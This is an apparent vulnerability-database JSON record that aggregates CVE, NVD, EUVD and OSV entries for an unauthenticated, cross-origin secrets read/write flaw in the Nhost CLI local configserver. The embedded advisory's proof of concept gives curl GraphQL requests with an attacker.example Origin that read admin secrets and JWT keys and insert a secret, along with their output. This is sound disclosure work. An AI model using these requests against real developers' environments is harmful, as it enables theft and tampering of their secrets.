{"id":"GO-2026-5166","revision":null,"records":[{"revision":"14f9781466334d4e9a604d65274d1cfe","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-47671","aliases":[],"title":"Nhost CLI local configserver allows cross-origin unauthenticated read/write access to local development configuration and secrets","description":"Nhost is an open source Firebase alternative with GraphQL. In versions of Nhost CLI prior to 1.46.0, the hidden `nhost configserver` used by `nhost dev` exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. When a developer is running the local development environment, any process that can reach the developer's localhost service, including a web page loaded from an arbitrary origin, can query the configserver for local Nhost configuration and secrets and can mutate the local `.secrets` file. This impacts developers using `nhost dev`: project admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables can be read, and attacker-controlled secrets can be written to the local development project. Version 1.46.0 of Nhost CLI contains a fix.","state":0,"publishedAt":"2026-07-21T20:00:53.145+00:00","modifiedAt":"2026-07-22T15:44:11.174+00:00","affected":[{"ecosystem":"Vendor product","name":"cli","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"nhost\",\n                    \"product\": \"cli\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.46.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4,"severity":"MEDIUM"}],"references":["https://github.com/nhost/nhost/security/advisories/GHSA-64cj-qvx5-m4f3","https://github.com/nhost/nhost/pull/4302","https://github.com/nhost/nhost/commit/e407511627d2c2c1137a70e9ca1ca31095d23479","https://github.com/nhost/nhost/releases/tag/cli@1.46.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-47671","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-47671","identifiers":["CVE-2026-47671"]},"retained":false,"historicalAffected":[]},{"revision":"ec341fdc6f7041ac8f8463fc537bc4bd","observedAt":"2026-11-07T11:27:42.2+00:00","statement":{"source":"euvd","id":"EUVD-2026-46393","aliases":["CVE-2026-47671","GHSA-64cj-qvx5-m4f3"],"title":"Nhost is an open source Firebase alternative with GraphQL. In versions of Nhost CLI prior to 1.46.0, the hidden `nhost configserver` used by `nhost dev` exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. …","description":"Nhost is an open source Firebase alternative with GraphQL. In versions of Nhost CLI prior to 1.46.0, the hidden `nhost configserver` used by `nhost dev` exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. When a developer is running the local development environment, any process that can reach the developer's localhost service, including a web page loaded from an arbitrary origin, can query the configserver for local Nhost configuration and secrets and can mutate the local `.secrets` file. This impacts developers using `nhost dev`: project admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables can be read, and attacker-controlled secrets can be written to the local development project. Version 1.46.0 of Nhost CLI contains a fix.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4,"severity":null}],"references":["https://github.com/nhost/nhost/security/advisories/GHSA-64cj-qvx5-m4f3","https://github.com/nhost/nhost/pull/4302","https://github.com/nhost/nhost/commit/e407511627d2c2c1137a70e9ca1ca31095d23479","https://github.com/nhost/nhost/releases/tag/cli@1.46.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-46393","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 21, 2026, 8:00:53 PM","dateUpdated":"Jul 22, 2026, 3:44:11 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-46393","identifiers":["EUVD-2026-46393","CVE-2026-47671","GHSA-64cj-qvx5-m4f3"]},"retained":false,"historicalAffected":[]},{"revision":"1ecd5b61acfd48599ba9cb62e063174c","observedAt":"2026-10-25T12:17:26.301+00:00","statement":{"source":"nvd","id":"CVE-2026-47671","aliases":[],"title":"Nhost is an open source Firebase alternative with GraphQL. In versions of Nhost CLI prior to 1.46.0, the hidden `nhost configserver` used by `nhost dev` exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. …","description":"Nhost is an open source Firebase alternative with GraphQL. In versions of Nhost CLI prior to 1.46.0, the hidden `nhost configserver` used by `nhost dev` exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. When a developer is running the local development environment, any process that can reach the developer's localhost service, including a web page loaded from an arbitrary origin, can query the configserver for local Nhost configuration and secrets and can mutate the local `.secrets` file. This impacts developers using `nhost dev`: project admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables can be read, and attacker-controlled secrets can be written to the local development project. Version 1.46.0 of Nhost CLI contains a fix.","state":0,"publishedAt":"2026-07-21T20:17:01.473+00:00","modifiedAt":"2026-10-24T19:10:00.127+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4,"severity":"MEDIUM"}],"references":["https://github.com/nhost/nhost/commit/e407511627d2c2c1137a70e9ca1ca31095d23479","https://github.com/nhost/nhost/pull/4302","https://github.com/nhost/nhost/releases/tag/cli@1.46.0","https://github.com/nhost/nhost/security/advisories/GHSA-64cj-qvx5-m4f3"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-47671","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-306"],"productCriteria":["cpe:2.3:a:nhost:cli:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-07-21T20:17:01.473","lastModified":"2026-10-24T19:10:00.127"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-47671","identifiers":["CVE-2026-47671"]},"retained":false,"historicalAffected":[]},{"revision":"0b258e3625904402a7d153c82c36a63f","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-64cj-qvx5-m4f3","aliases":["CVE-2026-47671","GO-2026-5166"],"title":"Nhost CLI local configserver allows cross-origin unauthenticated read/write access to local development configuration and secrets","description":"### Summary\n\nThe hidden `nhost configserver` used by `nhost dev` exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. When a developer is running the local development environment, any process that can reach the developer's localhost service, including a web page loaded from an arbitrary origin, can query the configserver for local Nhost configuration and secrets and can mutate the local `.secrets` file.\n\nThis impacts developers using `nhost dev`: project admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables can be read, and attacker-controlled secrets can be written to the local development project.\n\n### Details\n\nThe CLI registers a hidden `configserver` command in `cli/main.go:39` and `cli/main.go:41`. That command is used as the local development configserver image in `nhost dev`: `cli/cmd/dev/up.go:176` through `cli/cmd/dev/up.go:200` select `nhost/cli:<version>` as the configserver image, and `cli/dockercompose/configserver.go:80` through `cli/dockercompose/configserver.go:84` run it with the `configserver` command. The generated development dashboard receives the configserver and logs GraphQL URLs in public client-side environment variables at `cli/dockercompose/compose.go:347` through `cli/dockercompose/compose.go:358`.\n\nThe configserver intentionally loads the local project files into Mimir's GraphQL resolver in `cli/cmd/configserver/configserver.go:143` through `cli/cmd/configserver/configserver.go:156`. However, the authorization directives passed to `graph.SetupRouter` are no-ops:\n\n- `cli/cmd/configserver/configserver.go:83` through `cli/cmd/configserver/configserver.go:89` define `dummyMiddleware`, which calls the next resolver without checking app visibility.\n- `cli/cmd/configserver/configserver.go:91` through `cli/cmd/configserver/configserver.go:98` define `dummyMiddleware2`, which calls the next resolver without checking roles.\n- `cli/cmd/configserver/configserver.go:161` through `cli/cmd/configserver/configserver.go:170` pass those dummy directive handlers and `cors.Default()` to the GraphQL router.\n\nThe default `rs/cors` configuration allows all origins when no `AllowedOrigins` are specified: `vendor/github.com/rs/cors/cors.go:163` through `vendor/github.com/rs/cors/cors.go:167`, and `vendor/github.com/rs/cors/cors.go:248` through `vendor/github.com/rs/cors/cors.go:249` show `Default()` uses `Options{}`. A browser preflight from an arbitrary origin receives `Access-Control-Allow-Origin: *`.\n\nThe exposed GraphQL schema includes sensitive queries and mutations:\n\n- `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:41` through `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:57` expose `configRawJSON`, `config`, and `appSecrets` by app ID. `appSecrets` is protected only by `@hasAppVisibility`, which the configserver replaces with the no-op `dummyMiddleware`.\n- `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:117` through `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:128` expose `insertSecret`, `updateSecret`, and `deleteSecret`, also protected only by the no-op `@hasAppVisibility` directive.\n- `vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:10` through `vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:30` return the app's secrets.\n- `vendor/github.com/nhost/be/services/mimir/graph/q_config_raw_json.go:12` returns raw JSON for the app configuration, which includes sensitive fields such as Hasura admin secrets and JWT signing keys in local development config.\n- `vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:11` through `vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:47` append attacker-supplied secrets and call plugin `UpdateSecrets`.\n- `cli/cmd/configserver/local.go:164` through `cli/cmd/configserver/local.go:175` marshal the new secrets and write them to the configured local secrets file with `os.WriteFile`.\n\nBecause the local configserver uses a fixed zero UUID app ID for the local app (`cli/cmd/configserver/local.go:134`) and does not require cookies, tokens, or admin headers, a request only needs the known GraphQL endpoint and app ID.\n\nCandidate score: 14/14.\n\n- Reachability: 2 — reachable in the documented local development path using `nhost dev` and directly through the hidden `configserver` command.\n- Attacker control: 2 — GraphQL query and mutation bodies are fully attacker-controlled.\n- Privilege required: 2 — no authentication or local Nhost privileges are required beyond network/browser reachability to the developer's local configserver.\n- Sink impact: 2 — sensitive secret read and local secrets file write.\n- Mitigation weakness: 2 — role/app-visibility directives are replaced with no-op handlers, and CORS permits all origins.\n- Default exposure: 2 — enabled by the common local development setup.\n- Safe reproduction feasibility: 2 — confirmed locally with disposable fixture files.\n\n### PoC\n\nThe following proof uses only localhost and disposable temporary files. It does not contact external systems and does not read or modify real project secrets.\n\n1. Start a configserver instance against temporary local files:\n\n\n```sh\ntmpdir=$(mktemp -d)\nconfig=\"$tmpdir/nhost.toml\"\nsecrets=\"$tmpdir/.secrets\"\n\ncat > \"$config\" <<'EOF'\n[hasura]\nadminSecret = 'local-test-admin-secret'\nwebhookSecret = 'local-test-webhook-secret'\n\n[[hasura.jwtSecrets]]\ntype = 'HS256'\nkey = 'local-test-jwt-secret'\n\n[observability]\n[observability.grafana]\nadminPassword = 'local-test-grafana-password'\nEOF\n\ncat > \"$secrets\" <<'EOF'\nlocalProofSecret = 'LOCAL_PROOF_SECRET_VALUE'\nEOF\n\nport=18088\ngo run ./cli configserver \\\n  --bind \"127.0.0.1:$port\" \\\n  --storage-local-config-path \"$config\" \\\n  --storage-local-secrets-path \"$secrets\"\n```\n\n\n\n2. From another shell, show that a browser-style preflight from an arbitrary origin is accepted:\n\n\n```sh\ncurl -sS -i -X OPTIONS \\\n  -H 'Origin: https://attacker.example' \\\n  -H 'Access-Control-Request-Method: POST' \\\n  -H 'Access-Control-Request-Headers: content-type' \\\n  \"http://127.0.0.1:18088/v1/configserver/graphql\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP/1.1 204 No Content\nAccess-Control-Allow-Headers: content-type\nAccess-Control-Allow-Methods: POST\nAccess-Control-Allow-Origin: *\nVary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers\n```\n\n\n\n3. Read local development secrets without any authentication:\n\n\n```sh\ncurl -sS -i \\\n  -H 'Origin: https://attacker.example' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"query\":\"query { appSecrets(appID: \\\"00000000-0000-0000-0000-000000000000\\\") { name value } }\"}' \\\n  \"http://127.0.0.1:18088/v1/configserver/graphql\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\n{\"data\":{\"appSecrets\":[{\"name\":\"localProofSecret\",\"value\":\"LOCAL_PROOF_SECRET_VALUE\"}]}}\n```\n\n\n\n4. Read sensitive local configuration without any authentication:\n\n\n```sh\ncurl -sS -i \\\n  -H 'Origin: https://attacker.example' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"query\":\"query { configRawJSON(appID: \\\"00000000-0000-0000-0000-000000000000\\\", resolve: false) }\"}' \\\n  \"http://127.0.0.1:18088/v1/configserver/graphql\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\n{\"data\":{\"configRawJSON\":\"{\\\"hasura\\\":{\\\"adminSecret\\\":\\\"local-test-admin-secret\\\",\\\"jwtSecrets\\\":[{\\\"key\\\":\\\"local-test-jwt-secret\\\",\\\"type\\\":\\\"HS256\\\"}],\\\"webhookSecret\\\":\\\"local-test-webhook-secret\\\"},\\\"observability\\\":{\\\"grafana\\\":{\\\"adminPassword\\\":\\\"local-test-grafana-password\\\"}}}\"}}\n```\n\n\n\n5. Mutate the local `.secrets` file without any authentication:\n\n\n```sh\ncurl -sS -i \\\n  -H 'Origin: https://attacker.example' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"query\":\"mutation { insertSecret(appID: \\\"00000000-0000-0000-0000-000000000000\\\", secret: { name: \\\"INJECTED_BY_UNAUTHENTICATED_REQUEST\\\", value: \\\"SAFE_LOCAL_MARKER\\\" }) { name value } }\"}' \\\n  \"http://127.0.0.1:18088/v1/configserver/graphql\"\n\ngrep -E 'INJECTED_BY_UNAUTHENTICATED_REQUEST|SAFE_LOCAL_MARKER' \"$secrets\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\n{\"data\":{\"insertSecret\":{\"name\":\"INJECTED_BY_UNAUTHENTICATED_REQUEST\",\"value\":\"SAFE_LOCAL_MARKER\"}}}\nINJECTED_BY_UNAUTHENTICATED_REQUEST = 'SAFE_LOCAL_MARKER'\n```\n\n\n\n6. Cleanup:\n\n\n```sh\n# Stop the configserver process, then remove the disposable fixture directory.\nrm -rf \"$tmpdir\"\n```\n\n\n### Impact\n\nAn attacker who can cause a developer to visit a web page while `nhost dev` is running can use JavaScript from that page to send cross-origin GraphQL requests to the local Nhost configserver. The attacker can read local development secrets and configuration, including Hasura admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables stored in `.secrets`. The attacker can also mutate the local `.secrets` file, which can alter subsequent local development behavior and potentially poison local configuration consumed by services.\n\nThis is not a hosted-production unauthenticated endpoint vulnerability; it affects the local developer environment. The realistic attacker model is a malicious web page, local unprivileged process, or same-network process that can reach the developer's local configserver route while the development stack is running.\n\n### Remediation\n\nAddressed in [nhost/nhost#4302](https://github.com/nhost/nhost/pull/4302) with three layered controls:\n\n- **CORS restricted to the dashboard origin.** `cors.Default()` in `cli/cmd/configserver/configserver.go` is replaced by `corsMiddleware()`, which uses an `AllowOriginFunc` driven by `dashboardOriginRe = ^https?://([^./]+\\.dashboard\\.local\\.nhost\\.run|local\\.dashboard\\.nhost\\.run)(:\\d+)?$`. Arbitrary origins receive no `Access-Control-Allow-*` headers and are rejected by browsers. The allowlist is locked in by `cli/cmd/configserver/configserver_test.go`.\n- **Unguessable per-project app ID.** The fixed zero UUID is replaced by a UUIDv4 generated on first `nhost dev`, persisted to `.nhost/app_id` (mode `0600`) by `cli/clienv/appid.go`, and threaded via `NHOST_APP_ID` into the configserver container and `NEXT_PUBLIC_NHOST_APP_ID` into the dashboard. The configserver `serve` action validates the value with `uuid.Parse` at startup. Queries against any other app ID resolve to no app.\n- **In-memory secret redaction with reconciling writes.** `cli/cmd/configserver/local.go` adds `loadSecretsRedacted`, which substitutes every secret value with `<placeholder-from-local-configserver-substituted-for-real-secret>` before secrets enter the graph store, so `appSecrets` and any other read path return placeholders. `UpdateSecrets` reconciles incoming mutations against the on-disk `.secrets` file — placeholder values preserve the on-disk value, only real new values are written — so a caller that has not seen the real secret cannot overwrite it with a known string. Coverage in `cli/cmd/configserver/local_test.go`.","state":0,"publishedAt":"2026-06-04T17:43:40+00:00","modifiedAt":"2026-06-25T18:56:16.2369297+00:00","affected":[{"ecosystem":"Go","name":"github.com/nhost/nhost","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260518172022-e407511627d2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/nhost/nhost/security/advisories/GHSA-64cj-qvx5-m4f3","https://github.com/nhost/nhost/pull/4302","https://github.com/nhost/nhost/commit/e407511627d2c2c1137a70e9ca1ca31095d23479","https://github.com/nhost/nhost","https://github.com/nhost/nhost/releases/tag/cli@1.46.0"],"sourceUrl":"https://github.com/advisories/GHSA-64cj-qvx5-m4f3","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-64cj-qvx5-m4f3","identifiers":["GHSA-64cj-qvx5-m4f3","CVE-2026-47671","GO-2026-5166"]},"retained":false,"historicalAffected":[]},{"revision":"cd0894d154aa48bda7360aa55b529afe","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5166","aliases":["CVE-2026-47671","GHSA-64cj-qvx5-m4f3"],"title":"Nhost CLI local configserver allows cross-origin unauthenticated read/write access to local development configuration and secrets in github.com/nhost/nhost","description":"Nhost CLI local configserver allows cross-origin unauthenticated read/write access to local development configuration and secrets in github.com/nhost/nhost","state":0,"publishedAt":"2026-06-25T18:26:48+00:00","modifiedAt":"2026-06-25T18:45:28.0280144+00:00","affected":[{"ecosystem":"Go","name":"github.com/nhost/nhost","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260518172022-e407511627d2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/nhost/nhost/security/advisories/GHSA-64cj-qvx5-m4f3","https://github.com/nhost/nhost/commit/e407511627d2c2c1137a70e9ca1ca31095d23479","https://github.com/nhost/nhost/pull/4302","https://github.com/nhost/nhost/releases/tag/cli@1.46.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5166","license":"OSV · upstream source license applies","key":"osv:GO-2026-5166","identifiers":["GO-2026-5166","CVE-2026-47671","GHSA-64cj-qvx5-m4f3"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T22:52:13.5566143+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T22:52:13.5566143+00:00","lastSuccessAt":"2026-11-07T22:52:13.7321274+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.7321285+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-5c528217d29c5c98b43a1b5cb9374bfc12e416181b0a739875f92516cb8a8a5e","complete":true,"records":420948,"lastAttemptAt":"2026-11-07T22:52:12.9854034+00:00","lastSuccessAt":"2026-11-07T22:52:12.8993102+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:12.9854034+00:00","snapshotPublishedAt":"2026-11-07T22:22:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-dbacfbec4fd946d19a6e298e52e60834","complete":false,"records":13633,"lastAttemptAt":"2026-11-07T22:53:15.8229094+00:00","lastSuccessAt":"2026-11-07T22:53:15.819+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:53:15.819+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13674,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T22:52:13.5566143+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T22:52:13.5566143+00:00","lastSuccessAt":"2026-11-07T22:52:13.7328786+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.7328787+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e0026f7679544d118882d7f7d52e10c2","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T22:52:39.2626518+00:00","lastSuccessAt":"2026-11-07T22:52:39.256+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:39.256+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T22:52:13.4112712+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.4112712+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T22:52:13.1710092+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.1710092+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T22:52:13.522543+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.522543+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T22:52:13.2901378+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.2901378+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}